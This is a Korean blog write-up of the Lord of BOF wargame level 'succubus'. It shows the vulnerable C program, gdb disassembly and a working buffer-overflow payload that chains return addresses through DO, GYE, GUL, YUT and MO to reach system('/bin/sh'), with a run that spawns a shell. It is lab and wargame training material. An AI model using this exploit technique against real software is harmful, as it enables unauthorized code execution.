[lob] zombie_assassin -> succubus

2022. 9. 16. 17:18·Wargame/Hackerchool
728x90
반응형

1. intro

 

2. code 및 분석

2.1  C code

/*
        The Lord of the BOF : The Fellowship of the BOF
        - succubus
        - calling functions continuously
*/

#include <stdio.h>
#include <stdlib.h>
#include <dumpcode.h>

// the inspector
int check = 0;

void MO(char *cmd)
{
        if(check != 4)
                exit(0);

        printf("welcome to the MO!\n");

        // olleh!
        system(cmd);
}

void YUT(void)
{
        if(check != 3)
                exit(0);

        printf("welcome to the YUT!\n");
        check = 4;
}

void GUL(void)
{
        if(check != 2)
                exit(0);

        printf("welcome to the GUL!\n");
        check = 3;
}

void GYE(void)
{
        if(check != 1)
                exit(0);

        printf("welcome to the GYE!\n");
        check = 2;
}

void DO(void)
{
        printf("welcome to the DO!\n");
        check = 1;
}

main(int argc, char *argv[])
{
        char buffer[40];
        char *addr;

        if(argc < 2){
                printf("argv error\n");
                exit(0);
        }

        // you cannot use library
        if(strchr(argv[1], '\x40')){
                printf("You cannot use library\n");
                exit(0);
        }

        // check address
        addr = (char *)&DO;
        if(memcmp(argv[1]+44, &addr, 4) != 0){
                printf("You must fall in love with DO\n");
                exit(0);
        }

        // overflow!
        strcpy(buffer, argv[1]);
        printf("%s\n", buffer);

        // stack destroyer
        // 100 : extra space for copied argv[1]
        memset(buffer, 0, 44);
        memset(buffer+48+100, 0, 0xbfffffff - (int)(buffer+48+100));

        // LD_* eraser
        // 40 : extra space for memset function
        memset(buffer-3000, 0, 3000-40);
}

 

2.2. 분석

아... 이런 문제는 pwntool 있으면 금방인데... 하나씩 뒤져봐야 한다.

main 함수에서는 ret address가 \x40으로 시작하면 종료하고,

addr 변수에 DO 함수의 주소를 넣은 뒤 ret address가 DO와 같지 않으면 종료한다.

 

만약 같으면 argv[1] 값을 buffer 변수에 삽입하며, 이후 stack 및 LD 영역을 0으로 만들어버린다.

 

만일 ret address가 DO가 맞다면 main return 시 DO 함수로 갈텐데, 여기서 check 변수에 1을 넣고 종료한다.

동일하게 GYE, GUL, YUT, MO 함수가 있으며, MO 함수에서는 system(cmd)를 실행시켜주기에 최종적으로 MO 함수를 실행시켜주면 된다.

다만 각 함수 내에 check 변수가 있고, 앞 함수에서 다음 함수로 넘어가지 않으면 해당 변수로 인해 강제 종료된다.

 

3. 취약점 확인 및 공격 준비

3.1 취약점

어차피 ret address는 고정값이어야하니 건드릴 수 있는 것은 sfp 뿐이다.

이를 통해 function chain calling이 가능하다.

 

3.2 공격 준비

다시한번 함수의 프롤로그와 에필로그에 대해서 생각해보자.

main 함수의 인자로 A*44 + DO address 를 전달하였다고 가정하자.

그럼 main 함수에서 에필로그에 따라 return 직전 ebp는 0 (memset으로 초기화 되었으니까), eip는 DO address가 될 것이며, esp는 eip + 4가 될 것이다.

DO 함수로 return 후 프롤로그에 따라 ebp인 0는 push 되며 (esp-4), ebp는 esp와 같아지기 때문에 ebp는 곧 DO의 eip - 4를 가르킨다.

(gdb) disas DO
Dump of assembler code for function DO:
0x80487ec <DO>: push   %ebp
0x80487ed <DO+1>:       mov    %esp,%ebp
0x80487ef <DO+3>:       push   $0x8048a0e
0x80487f4 <DO+8>:       call   0x804844c <printf>
0x80487f9 <DO+13>:      add    $0x4,%esp
0x80487fc <DO+16>:      movl   $0x1,0x8049a90
0x8048806 <DO+26>:      leave
0x8048807 <DO+27>:      ret
End of assembler dump.

함수에서 보듯, ebp를 참조하는 명령어가 하나도 없기 때문에 앞서와 마찬가지로

DO 함수의 에필로그에서 leave 시 ebp는 이전의 eip인 DO 함수의 주소가 될 것이고, eip는 DO 함수 주소가 삽입된 그 다음 값을 참조할 것이다.

그러므로 각 함수의 주소를 차례로 써주면 연속적으로 실행될 것이다.

 

각 함수의 어셈블러 코드를 보면 아래와 같고.

(gdb) disas DO
Dump of assembler code for function DO:
0x80487ec <DO>: push   %ebp
0x80487ed <DO+1>:       mov    %esp,%ebp
0x80487ef <DO+3>:       push   $0x8048a0e
0x80487f4 <DO+8>:       call   0x804844c <printf>
0x80487f9 <DO+13>:      add    $0x4,%esp
0x80487fc <DO+16>:      movl   $0x1,0x8049a90
0x8048806 <DO+26>:      leave
0x8048807 <DO+27>:      ret
End of assembler dump.
(gdb) disas GYE
Dump of assembler code for function GYE:
0x80487bc <GYE>:        push   %ebp
0x80487bd <GYE+1>:      mov    %esp,%ebp
0x80487bf <GYE+3>:      cmpl   $0x1,0x8049a90
0x80487c6 <GYE+10>:     je     0x80487d2 <GYE+22>
0x80487c8 <GYE+12>:     push   $0x0
0x80487ca <GYE+14>:     call   0x804845c <exit>
0x80487cf <GYE+19>:     add    $0x4,%esp
0x80487d2 <GYE+22>:     push   $0x80489f9
0x80487d7 <GYE+27>:     call   0x804844c <printf>
0x80487dc <GYE+32>:     add    $0x4,%esp
0x80487df <GYE+35>:     movl   $0x2,0x8049a90
0x80487e9 <GYE+45>:     leave
0x80487ea <GYE+46>:     ret
0x80487eb <GYE+47>:     nop
End of assembler dump.
(gdb) disas GUL
Dump of assembler code for function GUL:
0x804878c <GUL>:        push   %ebp
0x804878d <GUL+1>:      mov    %esp,%ebp
0x804878f <GUL+3>:      cmpl   $0x2,0x8049a90
0x8048796 <GUL+10>:     je     0x80487a2 <GUL+22>
0x8048798 <GUL+12>:     push   $0x0
0x804879a <GUL+14>:     call   0x804845c <exit>
0x804879f <GUL+19>:     add    $0x4,%esp
0x80487a2 <GUL+22>:     push   $0x80489e4
0x80487a7 <GUL+27>:     call   0x804844c <printf>
0x80487ac <GUL+32>:     add    $0x4,%esp
0x80487af <GUL+35>:     movl   $0x3,0x8049a90
0x80487b9 <GUL+45>:     leave
0x80487ba <GUL+46>:     ret
0x80487bb <GUL+47>:     nop
End of assembler dump.
(gdb) disas YUT
Dump of assembler code for function YUT:
0x804875c <YUT>:        push   %ebp
0x804875d <YUT+1>:      mov    %esp,%ebp
0x804875f <YUT+3>:      cmpl   $0x3,0x8049a90
0x8048766 <YUT+10>:     je     0x8048772 <YUT+22>
0x8048768 <YUT+12>:     push   $0x0
0x804876a <YUT+14>:     call   0x804845c <exit>
0x804876f <YUT+19>:     add    $0x4,%esp
0x8048772 <YUT+22>:     push   $0x80489cf
0x8048777 <YUT+27>:     call   0x804844c <printf>
0x804877c <YUT+32>:     add    $0x4,%esp
0x804877f <YUT+35>:     movl   $0x4,0x8049a90
0x8048789 <YUT+45>:     leave
0x804878a <YUT+46>:     ret
0x804878b <YUT+47>:     nop
End of assembler dump.
(gdb) disas MO
Dump of assembler code for function MO:
0x8048724 <MO>: push   %ebp
0x8048725 <MO+1>:       mov    %esp,%ebp
0x8048727 <MO+3>:       cmpl   $0x4,0x8049a90
0x804872e <MO+10>:      je     0x8048740 <MO+28>
0x8048730 <MO+12>:      push   $0x0
0x8048732 <MO+14>:      call   0x804845c <exit>
0x8048737 <MO+19>:      add    $0x4,%esp
0x804873a <MO+22>:      lea    0x0(%esi),%esi
0x8048740 <MO+28>:      push   $0x80489bb
0x8048745 <MO+33>:      call   0x804844c <printf>
0x804874a <MO+38>:      add    $0x4,%esp
0x804874d <MO+41>:      mov    0x8(%ebp),%eax
0x8048750 <MO+44>:      push   %eax
0x8048751 <MO+45>:      call   0x804840c <system>
0x8048756 <MO+50>:      add    $0x4,%esp
0x8048759 <MO+53>:      leave
0x804875a <MO+54>:      ret
0x804875b <MO+55>:      nop
End of assembler dump.

주소를 모아 페이로드를 작성하면 된다.

더불어 MO 함수 내에서 system(cmd)를 실행할때 cmd 변수는 인자로 받아오고 있으며, 이를 확인해보면 MO 함수의 ebp + 8 위치의 값을 참조한다.

0x804874d <MO+41>:      mov    0x8(%ebp),%eax
0x8048750 <MO+44>:      push   %eax
0x8048751 <MO+45>:      call   0x804840c <system>

결국 /bin/sh를 실행해야하기 때문에 해당 문자열의 시작 주소를 가진 주소를 MO 함수 ebp + 8 위치에 삽입해야 한다.

물론 libc에서 찾아도 되겠지만, 문제에서 인자에 \x40을 검사하기에 불가능하고, 직접적으로 써서 전달해보자.

 

4. exploit

위를 토대로 코드를 작성해보면 아래와 같다.

[zombie_assassin@localhost zombie_assassin]$ ./succubus `python -c 'print "A"*44 + "\xec\x87\x04\x08" + "\xbc\x87\x04\x08" + "\x8c\x87\x04\x08" + "\x5c\x87\x04\x08" + "\x24\x87\x04\x08" + "AAAA" + "\xa8\xfa\xff\xbf" + "/bin/sh\x00"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA▒▒\$AAAA▒▒▒▒/bin/sh
welcome to the DO!
welcome to the GYE!
welcome to the GUL!
welcome to the YUT!
welcome to the MO!
sh: ▒▒▒▒: command not found
Segmentation fault
[zombie_assassin@localhost zombie_assassin]$ ./succubus `python -c 'print "A"*44 + "\xec\x87\x04\x08" + "\xbc\x87\x04\x08" + "\x8c\x87\x04\x08" + "\x5c\x87\x04\x08" + "\x24\x87\x04\x08" + "AAAA" + "\xb8\xfa\xff\xbf" + "/bin/sh\x00"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA▒▒\$AAAA▒▒▒▒/bin/sh
welcome to the DO!
welcome to the GYE!
welcome to the GUL!
welcome to the YUT!
welcome to the MO!
bash$ my-pass
euid = 517
here to stay

 

728x90
반응형
저작자표시 비영리 변경금지 (새창열림)

'Wargame > Hackerchool' 카테고리의 다른 글

[lob] nightmare -> xavius  (0) 2022.09.21
[lob] succubus -> nightmare  (0) 2022.09.21
[lob] assassin -> zombie_assassin  (0) 2022.09.16
[lob] giant -> assassin  (0) 2022.09.16
[lob] bugbear -> giant  (0) 2022.09.15
'Wargame/Hackerchool' 카테고리의 다른 글
  • [lob] nightmare -> xavius
  • [lob] succubus -> nightmare
  • [lob] assassin -> zombie_assassin
  • [lob] giant -> assassin
wyv3rn
wyv3rn
아저씨의 흔한 취미. wyv3rn#1249
  • wyv3rn
    think storage
    wyv3rn
  • 전체
    오늘
    어제
    • 분류 전체보기 (502) N
      • To do list (7)
        • Doing (1)
        • Complete (6)
      • Diary (35)
      • Tips & theory (79) N
      • Kernel Exploit (27)
        • Theory (15)
        • Exercise (5)
      • Wargame (313)
        • pwn.college (34)
        • Dreamhack (148)
        • pwnable.kr (15)
        • Lord of Sqlinjection (3)
        • Cryptohack (20)
        • Root me (27)
        • CodeEngn (4)
        • Exploit Education (22)
        • ROP Emporium (8)
        • H4C (10)
        • Hackerchool (22)
      • CTF (41)
        • Solved (39)
        • Unsolved (2)
      • Script (0)
      • RubiyaLap (0)
  • 블로그 메뉴

    • 홈
    • 방명록
  • 링크

  • 공지사항

    • PWN wargame 모음 (및 느낀점)
    • 비공개 글들에 대해.
    • 뭐라도 하나 얻어가시길...
  • 인기 글

  • 태그

    pwntools
    32bit
    heap
    Me
    hackerschool
    root
    dreamhack
    BOF
    phoenix
    rop
    pwnable.kr
    tcache
    ROOT ME
    64bit
    RTL
    libc
    la ctf
    docker
    x64
    FSB
    Format String Bug
    Buffer Overflow
    _IO_FILE
    vtable
    CANARY
    exploit education
    cryptohack
    root-me
    lob
    x86
  • 최근 댓글

  • 최근 글

  • 250x250
    반응형
  • hELLO· Designed By정상우.v4.10.3
wyv3rn
[lob] zombie_assassin -> succubus
상단으로

티스토리툴바